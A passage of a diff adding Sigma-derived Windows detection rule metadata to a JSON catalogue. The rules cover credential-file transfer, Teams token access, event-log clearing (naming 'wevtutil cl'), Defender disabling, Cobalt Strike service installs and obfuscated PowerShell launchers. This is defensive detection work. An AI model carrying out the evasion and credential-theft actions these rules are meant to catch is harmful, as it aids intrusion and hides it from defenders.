"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2019/02/05", + "filename": "win_security_susp_time_modification.yml", + "author": "@neu5ron", + "level": "low", + "falsepositive": [ + "HyperV or other virtualization technologies with binary not listed in filter portion of detection" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detection of logins performed with WMI", + "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", + "value": "Login with WMI", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2019/12/04", + "filename": "win_security_susp_wmi_login.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Monitoring tools", + "Legitimate system administration" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote service activity via remote access to the svcctl named pipe", + "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3", + "value": "Remote Service Activity via SVCCTL Named Pipe", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "attack.t1021.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_svcctl_remote_service.yml", + "author": "Samir Bousseaden", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", + "uuid": "9a4ff3b8-6187-4fd2-8e8b-e0eae1129495", + "value": "SysKey Registry Keys Access", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ], + "creation_date": "2019/08/12", + "filename": "win_security_syskey_registry_access.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", + "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc", + "value": "Sysmon Channel Reference Deletion", + "meta": { + "refs": [ + "https://twitter.com/Flangvik/status/1283054508084473861", + "https://twitter.com/SecurityJosh/status/1283027365770276866", + "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", + "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/07/14", + "filename": "win_security_sysmon_channel_reference_deletion.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", + "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701", + "value": "Tap Driver Installation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2019/10/24", + "filename": "win_security_tap_driver_installation.yml", + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f", + "value": "Suspicious Teams Application Related ObjectAcess Event", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/09/16", + "filename": "win_security_teams_suspicious_objectaccess.yml", + "author": "@SerkinValery", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", + "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", + "value": "Transferring Files with Credential Data via Network Shares", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.001", + "attack.t1003.003" + ], + "creation_date": "2019/10/22", + "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Transferring sensitive files for legitimate administration work by legitimate administrator" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", + "uuid": "c265cf08-3f99-46c1-8d59-328247057d57", + "value": "User Added to Local Administrators", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078", + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2017/03/14", + "filename": "win_security_user_added_to_local_administrators.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", + "uuid": "6daac7fc-77d1-449a-a71a-e6b4d59a0e54", + "value": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1558.003" + ], + "creation_date": "2019/10/24", + "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", + "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", + "uuid": "66b6be3d-55d0-4f47-9855-d69df21740ea", + "value": "Local User Creation", + "meta": { + "refs": [ + "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2019/04/18", + "filename": "win_security_user_creation.yml", + "author": "Patrick Bareiss", + "level": "low", + "falsepositive": [ + "Domain Controller Logs", + "Local accounts managed by privileged account management tools" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the loading of drivers via 'SeLoadDriverPrivilege' required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools.\nSo you have to work with a whitelist to find the bad stuff.\n", + "uuid": "f63508a0-c809-4435-b3be-ed819394d612", + "value": "Suspicious Driver Loaded By User", + "meta": { + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2019/04/08", + "filename": "win_security_user_driver_loaded.yml", + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "level": "medium", + "falsepositive": [ + "Other legimate tools loading drivers. There are some: Sysinternals, CPU-Z, AVs etc. - but not much. You have to baseline this according to your used products and allowed tools. Also try to exclude users, which are allowed to load drivers." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", + "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be", + "value": "User Logoff Event", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_user_logoff.yml", + "author": "frack113", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", + "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", + "value": "VSSAudit Security Event Source Registration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2020/10/20", + "filename": "win_security_vssaudit_secevent_source_registration.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "informational", + "falsepositive": [ + "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", + "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c", + "value": "T1047 Wmiprvse Wbemcomn DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/12", + "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", + "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88", + "value": "WMI Persistence", + "meta": { + "refs": [ + "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2017/08/22", + "filename": "win_security_wmi_persistence.yml", + "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", + "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86", + "value": "Microsoft Defender Blocked from Loading Unsigned DLL", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "win_security_mitigations_defender_load_unsigned_dll.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", + "uuid": "8289bf8c-4aca-4f5a-9db3-dc3d7afe5c10", + "value": "Unsigned Binary Loaded From Suspicious Location", + "meta": { + "refs": [ + "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/03", + "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", + "uuid": "b55d23e5-6821-44ff-8a6e-67218891e49f", + "value": "HybridConnectionManager Service Running", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ], + "creation_date": "2021/04/12", + "filename": "win_hybridconnectionmgr_svc_running.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of Hybrid Connection Manager via Azure function apps." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", + "uuid": "83c161b6-ca67-4f33-8ad0-644a0737cf07", + "value": "Suspicious Application Installed", + "meta": { + "refs": [ + "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_shell_core_susp_packages_installed.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Packages or applications being legitimately used by users or administrators" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", + "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", + "value": "Suspicious Rejected SMB Guest Logon From IP", + "meta": { + "refs": [ + "https://twitter.com/KevTheHermit/status/1410203844064301056", + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.001" + ], + "creation_date": "2021/06/30", + "filename": "win_susp_failed_guest_logon.yml", + "author": "Florian Roth, KevTheHermit, fuzzyf10w", + "level": "medium", + "falsepositive": [ + "Account fallback reasons (after failed login with specific account)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects repeated failed (outgoing) attempts to mount a hidden share", + "uuid": "1c3be8c5-6171-41d3-b792-cab6f717fcdb", + "value": "Failed Mounting of Hidden Share", + "meta": { + "refs": [ + "https://twitter.com/moti_b/status/1032645458634653697", + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml" + ], + "tags": [ + "attack.t1021.002", + "attack.lateral_movement" + ], + "creation_date": "2022/08/30", + "filename": "win_susp_failed_hidden_share_mount.yml", + "author": "Fabian Franz", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity", + "Faulty scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", + "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", + "value": "Anydesk Remote Access Software Service Installation", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/11", + "filename": "win_system_anydesk_service_installation.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the anydesk tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects application popup reporting a failure of the Sysmon service", + "uuid": "4d7f1827-1637-4def-8d8a-fd254f9454df", + "value": "Sysmon Crash", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_application_sysmon_crash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/04/26", + "filename": "win_system_application_sysmon_crash.yml", + "author": "Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", + "uuid": "1df8b3da-b0ac-4d8a-b7c7-6cb7c24160e4", + "value": "Turla Service Install", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_carbonpaper_turla.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0010", + "attack.t1543.003" + ], + "creation_date": "2017/03/31", + "filename": "win_system_apt_carbonpaper_turla.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "win_system_apt_chafer_mar18_system.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", + "uuid": "9e987c6c-4c1e-40d8-bd85-dd26fba8fdd6", + "value": "StoneDrill Service Install", + "meta": { + "refs": [ + "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0064", + "attack.t1543.003" + ], + "creation_date": "2017/03/07", + "filename": "win_system_apt_stonedrill.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", + "uuid": "1228f8e2-7e79-4dea-b0ad-c91f1d5016c1", + "value": "Turla PNG Dropper Service", + "meta": { + "refs": [ + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_turla_service_png.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0010", + "attack.t1543.003" + ], + "creation_date": "2018/11/23", + "filename": "win_system_apt_turla_service_png.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", + "uuid": "5a105d34-05fc-401e-8553-272b45c1522d", + "value": "CobaltStrike Service Installations", + "meta": { + "refs": [ + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/05/26", + "filename": "win_system_cobaltstrike_service_installs.yml", + "author": "Florian Roth, Wojciech Lesicki", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", + "uuid": "6c0a7755-6d31-44fa-80e1-133e57752680", + "value": "Windows Defender Threat Detection Disabled - Service", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/07/28", + "filename": "win_system_defender_disabled.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd, frack113", + "level": "low", + "falsepositive": [ + "Administrator actions", + "Auto updates of Windows Defender causes restarts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "uuid": "a62b37e0-45d3-48d9-a517-90c1a1b0186b", + "value": "Eventlog Cleared", + "meta": { + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2017/01/10", + "filename": "win_system_eventlog_cleared.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of smbexec.py tool by detecting a specific service installation", + "uuid": "52a85084-6989-40c3-8f32-091e12e13f09", + "value": "smbexec.py Service Installation", + "meta": { + "refs": [ + "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_hack_smbexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.execution", + "attack.t1021.002", + "attack.t1569.002" + ], + "creation_date": "2018/03/20", + "filename": "win_system_hack_smbexec.yml", + "author": "Omer Faruk Celik", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_system_invoke_obfuscation_clip_services.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", + "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/11/08", + "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_system_invoke_obfuscation_stdin_services.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_system_invoke_obfuscation_var_services.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "175997c5-803c-4b08-8bb0-70b099f47595", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_system_invoke_obfuscation_via_compress_services.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + 